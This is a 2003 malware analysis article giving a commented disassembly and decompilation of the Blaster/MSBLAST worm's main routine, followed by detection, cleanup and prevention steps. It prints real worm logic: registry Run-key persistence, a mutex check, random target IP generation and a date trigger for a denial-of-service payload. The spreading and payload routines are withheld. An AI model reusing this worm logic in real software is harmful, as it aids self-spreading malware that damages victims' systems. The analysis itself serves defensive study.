Cyber Security Expo
 
A decompilation of the Lovesan/MSBLAST Worm by Dennis Elser on 14/08/03
Untitled Document Decompilation of the RPC blaster.worm main() routine
and short description/analysis by Dennis Elser.


TABLE OF CONTENTS:

I. Introduction
II. Description
III. Commented Disassembly
IV. Analysis/Decompilation
V. How to detect and clean an infected system, prevent re-infection


I. Introduction
---------------

Thanks to Datarescue (www.datarescue.com) for the Interactive DisAssembler
(IDA Pro) which made this analysis quite comfortable.
The integrated debugger came in very handy to verify the analysis ;)

Please bare with me, english is not my native language, I am not a professional
but a hobbyist, this document and the analysis were done in my spare time for fun
and it was not veryfied by anyone so it may contain quite some errata ;)

About the analysis:
I began to analyze the main() routine but I've left out
two important routines due to two reasons:

1. I don't want anyone to recompile this and create new variants.
2. Rolf Rolles beat me to it - too bad we haven't met earlier ;)

So spreadworm() and payload() have been left out. Their functionality will be described later.


II. Description
---------------

The worm creates a new registry key in "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
called "windows auto update" with the value "msblast.exe".
This will make sure that the worm will be run after each reboot.
Next, it creates a Mutex called "BILLY", followed by a call to GetLastError().
If the errorcode returned by GetLastError() is 0xb7 ("Cannot create a file
when that file already exists.") the worm will make a call to ExitProcess() to
prevent the system from running multiple instances of the worm.
Otherwise it will continue and call WSAStartup() to initiate windows sockets,
GetModuleFileName(), which is needed for the tftp transfer to other vulnerable boxes (thanks Rolf)
and loop until the OS is connected to the Internet (using InternetGetConnectedState()).
The worm will then create random ip addresses and retreive the local ip address of the OS in order
to infect the local area network and computers on the internet (Please have a look at the analysis).
Every year starting on every 16th of a month and every day beginning in September the payload() routine will be started.
From what I have checked so far it will send packets to windowsupdate.com in order to DoS it.
After that it will spread itself to vulnerable boxes on the internet (using the randomly generated
IP addresses) and to the local area network.

As mentioned above spreadworm() and payload() have not been analyzed any further.
spreadworm() will listen on specific ports for incoming connections, spread itself et cetera.
payload() will DoS windowsupdate.com on a specific date.

Please refer to Rolf Rolles' analysis for a more detailed analysis.

III. Commented Disassembly
-------------------------

main proc near ; CODE XREF: mainwrapper+5Cp

in = in_addr ptr -3ACh
temp_ip_buf = dword ptr -3A8h
hostent = dword ptr -3A4h
local_ip_address= byte ptr -3A0h
WSAData = WSAData ptr -1A0h
month = dword ptr -10h
day_of_month = byte ptr -0Ch
hKey = dword ptr -8
ThreadId = dword ptr -4

push ebp
mov ebp, esp
sub esp, 3ACh
push esi
push edi
xor esi, esi
push 0 ; lpdwDisposition
lea eax, [ebp+hKey]
push eax ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
push offset aSoftwareMicros ; create/open regkey:
; SOFTWARE\Microsoft\Windows\CurrentVersion\Run
push 80000002h ; hKey
call RegCreateKeyExA
push 32h ; cbData
push offset aMsblast_exe ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aWindowsAutoUpd ; lpValueName
push [ebp+hKey] ; hKey
call RegSetValueExA ; create a subkey/string "windows auto update" with the value "msblast.exe"
; this will make sure the worm will be run after windows has been booted
push [ebp+hKey] ; hKey
call RegCloseKey ; close regkey
push offset aBilly ; lpName
push 1 ; bInitialOwner
push 0 ; lpMutexAttributes
call CreateMutexA ; create "Billy" Mutex
call GetLastError ; check for error.
cmp eax, 0B7h ; 0xb7 = Cannot create a file when that file already exists.
jnz short FirstInstance ; if the mutex couldn't be created, then there
; already is running an instance of the worm.
; if this is the case: ExitProcess
push 0 ; uExitCode
call ExitProcess

FirstInstance: ; CODE XREF: main+67j
lea eax, [ebp+WSAData]
push eax ; lpWSAData
push 202h ; wVersionRequested
call WSAStartup ; call WSAStartup / version 2.02
or eax, eax
jz short WSAStartupSuccess ; if successful, branch to WSAStartupSuccess
lea eax, [ebp+WSAData]
push eax ; lpWSAData
push 101h ; wVersionRequested
call WSAStartup ; call WSAStartup / version 1.01
or eax, eax
jz short WSAStartupSuccess ; if successful, branch to WSAStartupSuccess
lea eax, [ebp+WSAData]
push eax ; lpWSAData
push 1 ; wVersionRequested
call WSAStartup ; call WSAStartup / v1.0 ?
or eax, eax
jz short WSAStartupSuccess ; if successful, branch to WSAStartupSuccess
or eax, 0FFFFFFFFh
jmp WS_Error
; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴

WSAStartupSuccess: ; CODE XREF: main+83j main+98j ...
push 104h ; nSize
push offset Filename ; lpFilename
push 0 ; hModule
call GetModuleFileNameA ; get module's name into a buffer (should be msblast.exe)

delay_no_inet: ; CODE XREF: main+DEj
push 0
lea eax, [ebp+ThreadId]
push eax
call InternetGetConnectedState ; is the victim connected to the internet ?
or eax, eax
jnz short connected
push 4E20h ; dwMilliseconds
call Sleep ; Sleep 20 seconds
jmp short delay_no_inet
; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴

connected: ; CODE XREF: main+D2j
and ds:i_ip_D, 0
call GetTickCount ; get value from tickcount
push eax
call srand ; random starting point
pop ecx
call rand ; get random value
mov ecx, 0FEh
cdq
idiv ecx ; divide random value by 0xFE
mov edi, edx ; edi = edx = remainder
inc edi ; remainder++
mov ds:randomip_A, edi
call rand ; get another random value
mov ecx, 0FEh
cdq
idiv ecx ; divide random value by 0xFE
mov ds:randomip_B, edx ; store remainder
push 200h ; namelen
lea eax, [ebp+local_ip_address]
push eax ; name
call gethostname ; get hostname for local machine
cmp eax, 0FFFFFFFFh ; SOCKET_ERROR ?
jz SOCKET_ERROR
lea eax, [ebp+local_ip_address]
push eax ; name
call gethostbyname ; retreive hostent structure
mov [ebp+hostent], eax
or eax, eax
jz SOCKET_ERROR
mov ecx, [eax+0Ch] ; ecx = hostent.hlength
cmp dword ptr [ecx], 0 ; if (hostent.hlength == 0) goto SOCKET_ERROR
jz SOCKET_ERROR
push 4
mov eax, [eax+0Ch] ; get hostent.hlength
push dword ptr [eax] ; source buffer (hostent)
lea eax, [ebp+in]
push eax ; destination buffer
call memcpy ; copy hostent structure
push dword ptr [ebp+in.S_un] ; in
call inet_ntoa ; get dotted format
push eax
push offset aS ; "%s"
lea edi, [ebp+local_ip_address]
push edi
call sprintf ; store ip address in string format
push offset dot
lea eax, [ebp+local_ip_address]
push eax
call strtok ; find first '.' / dot in local ip address string
; assume we have the following ip address:
; 127.0.0.1
; eax will hold a pointer to "127\0" after the call to strtok
mov [ebp+temp_ip_buf], eax
push eax
call atoi ; convert string to integer
mov ds:i_ip_A, eax
push offset dot
push 0
call strtok ; find next '.' / dot in local ip address string
mov [ebp+temp_ip_buf], eax
push eax
call atoi ; convert next delimiter of ip address
mov ds:i_ip_B, eax
push offset dot
push 0
call strtok ; find next '.' / dot in local ip address string
mov [ebp+temp_ip_buf], eax
push eax
call atoi ; convert next delimiter of ip address
add esp, 3Ch ; correct stack
mov ds:i_ip_C, eax
cmp eax, 14h ; i_ip_c <= 0x14 ?
jle short ip_c_lower_0x15
call GetTickCount ; randomize timer / get random value
push eax
call srand
pop ecx
call rand
mov ecx, 14h
cdq
idiv ecx ; divide random value by 0x14
sub ds:i_ip_C, edx ; subtract remainder of division from i_ip_c

ip_c_lower_0x15: ; CODE XREF: main+1EEj
mov eax, ds:i_ip_A
mov ds:randomip_A, eax
mov eax, ds:i_ip_B
mov ds:randomip_B, eax
xor esi, esi
inc esi ; esi = 1

SOCKET_ERROR: ; CODE XREF: main+130j main+14Aj ...
call GetTickCount ; randomize timer / get random number
push eax
call srand
pop ecx
call rand
mov ecx, 14h
cdq
idiv ecx ; divide random number by 0x14
cmp edx, 0Ch
jge short loc_401496 ; is remainder >= 0xC ?
xor esi, esi ; if not, esi = 0

loc_401496: ; CODE XREF: main+242j
mov ds:i_ip_D_?, 1
call rand ; get random value
mov ecx, 0Ah
cdq
idiv ecx ; divide random value by 0xA
cmp edx, 7
jle short generate_random_ip ; remainder <= 7 ?
mov ds:i_ip_D_?, 2

generate_random_ip: ; CODE XREF: main+260j
or esi, esi
jnz short get_date ; if esi != 0 goto get_date
call rand ; get another random value
mov ecx, 0FEh
cdq
idiv ecx ; divide by 0xFE
mov edi, edx
inc edi
mov ds:i_ip_A, edi ; i_ip_A = remainder +1
call rand ; get random value
mov ecx, 0FEh
cdq
idiv ecx ; divide by 0xFE
mov ds:i_ip_B, edx ; i_ip_B = remainder
call rand ; get random value
mov ecx, 0FEh
cdq
idiv ecx ; divide by 0xFE
mov ds:i_ip_C, edx ; i_ip_C = remainder

get_date: ; CODE XREF: main+26Ej
push 3 ; cchDate
lea eax, [ebp+day_of_month]
push eax ; lpDateStr
push offset dateformat_d ; Day of month as digits with no leading zero for single-digit days
push 0 ; lpDate
push 0 ; dwFlags
push 409h ; Locale
call GetDateFormatA ; get day of month
push 3 ; cchDate
lea eax, [ebp+month]
push eax ; lpDateStr
push offset dateformat_M ; Month as digits with no leading zero for single-digit months.
push 0 ; lpDate
push 0 ; dwFlags
push 409h ; Locale
call GetDateFormatA
lea eax, [ebp+day_of_month]
push eax
call atoi ; convert daystring to integer
pop ecx
cmp eax, 15
jg short payload ; if it is the 16th day of a month
; or above, start payload
lea edi, [ebp+month]
push edi
call atoi ; convert monthstring to integer
pop ecx
cmp eax, 8 ; else if month = September, October, November, December,
; start payload
jle short loc_401562

payload: ; CODE XREF: main+2EBj
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push offset payload? ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread

loc_401562: ; CODE XREF: main+2FAj main+317j
call spreadworm
jmp short loc_401562
; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴
call WSACleanup ; clean up...
xor eax, eax

WS_Error: ; CODE XREF: main+AFj
pop edi
pop esi
leave
retn 10h
main endp

IV. Analysis
-------------

// global variables
char Filename[SOME_CONST];
DWORD i_ip_A;
DWORD i_ip_B;
DWORD i_ip_C;
DWORD i_ip_D;

DWORD i_ip_D_?;

// left out
void spreadworm()
{
}

// left out
SEC_THREAD_START paylod()
{
}

// main
int main()
{

in_addr in;
DWORD temp_ip_buf;
hostent _hostent;
char local_ip_address[0x200];
LPWSADATA WSAData;
char month[3];
char day_of_month[3];
HKEY hKey;
DWORD ThreadId;
bool status;

// Create/open registry key
RegCreateKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, 0xf003f, 0, & hKey, 0);
// Put key "windows auto update", value = "msblast.exe"
RegSetValueExA(hKey, "windows auto update", 0, 1, "msblast.exe", 0x32);
// Close registry
RegCloseKey(hKey);
// check for a running instance of the worm
CreateMutexA(0, 1, "BILLY");
if (GetLastError() == 0xb7) ExitProcess(0); // exit

// winsock
if ((WSAStartup(0x202, & WSAData) != 0) || (WSAStartup(0x101, & WSAData) != 0) \
|| (WSAStartup(0x001, & WSAData) != 0)) return -1;

// get driver:\path\filename (for example c:\winnt\system32\msblast.exe)
// needed for tftp to locate the file for redistribution (thanks again Rolf)
GetModuleFileNameA(0, &Filename, 0x104);

// idle until a connection to the internet is detected
while (InternetGetConnectedState(& ThreadId, 0) == 0) Sleep(0x4e20);

// generate random ip address
i_ip_D = 0;
srand(GetTickCount());
randomip_A = rand() % 0xFE;
randomip_A++;
randomip_B = rand() % 0xFE;

// get local ip address
if (gethostname(& local_ip_address, 0x200) != ffffffff)
{
_hostent = gethostbyname(& local_ip_address);
if (_hostent != 0)
{
if (_hostent.hlength != 0)
{
memcpy( &in, &_hostent.hlength, 4);
sprintf(&local_ip_address, "%s", inet_ntoa(in.S_un));
temp_ip_buf = strtok(&local_ip_address, ".");
// split single parts of ip address into A.B.C.(D)
i_ip_A = atoi(temp_ip_buf);
temp_ip_buf = strtok(0, ".");
i_ip_B = atoi(temp_ip_buf);
temp_ip_buf = strtok(0, ".");
i_ip_C = atoi(temp_ip_buf);

// randomize x.x.C.x if C > 0x14
if (i_ip_C > 0x14)
{
srand(GetTickCount());
i_ip_C -= rand() % 0x14;
}
randomip_A = i_ip_A;
randomip_B = i_ip_B;
status = true;
}
}
}
srand(GetTickCount());
if ((rand() % 0x14) < 12) status = 0;
i_ip_D_? = 1;
if ((rand % 0xA) > 7) i_ip_D_? = 2;

if (status == 0)
{
i_ip_A = rand() % 0xFE;
i_ip_A++;
i_ip_B = rand() % 0xFE;
i_ip_C = rand() % 0xFE;
}
// get date
GetDateFormatA(0x409, 0, 0, &"d", &day_of_month, 3);
GetDateFormatA(0x409, 0, 0, &"M", &month, 3);

// start payload on every 16th of a month or every day beginning from september
if ( (atoi(& day_of_month) > 15) || (atoi(& month) > 8) )
CreateThread(0, 0, payload, 0, 0, &ThreadId);

// start spreading the worm all over the windoze-world
while (1) spreadworm();

// is that a joke ? it will never be executed ;)
WSACleanup();
return 0;
}

V. How to detect and clean an infected system, prevent re-infection
-------------------------------------------------------------------

a.) detection
-------------
The three most suspicious indicators for a system infected by the msblast.worm are
- a file called msblast.exe in your windows\system32\ folder
- a running process called msblast.exe
- the registry entry "windows auto update" containing the string "msblast.exe" in
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Some minor indicators are
- (high) outbound traffic on port 69, 135 et cetera.
- the mutex "BILLY" (write a little application which creates a mutex called "BILLY" just
like the worm does. Call GetLastError() immediately after having created the mutex.
if the returncode is 0xb7 then the mutex already exists which is an indicator for the worm.
- probably a lot more ;)

b.) cleaning a system
---------------------
1. Kill the process msblast.exe using window's taskmanager or tasklist/taskkill.
2. remove the registry key "windows auto update".
3. remove the executable msblast.exe from your windows\system32\ directory.

c.) preventing re-infection
---------------------------
1. Configure your firewall to block port 135 (and others the worm uses).
2. update your windows installation (windowsupdate.com).
3. write a little application which creates a "BILLY" mutex. This will not prevent
your system to be infected but the worm will not spread any further and will not
run any harmful routines as it exits when it detects an existing "BILLY" mutex.


--
Please have a look at Rolf Rolles' complete analysis (he should have posted it to bugtraq).
Check www.datarescue.com for the best disassembler around.

Hello's to my "collegues" ;) you know who you are :)

And thanks to KJ for the date-hint ;)

"I can not be held responsible for any damages this document may cause" ;)

--

Dennis Elser
Student of the Ruhr-Universitt-Bochum
Information Technology Security
Germany

Rate this article

All images, content & text (unless other ownership applies) are © copyrighted 2000 -  , Infosecwriters.com. All rights reserved. Comments are property of the respective posters.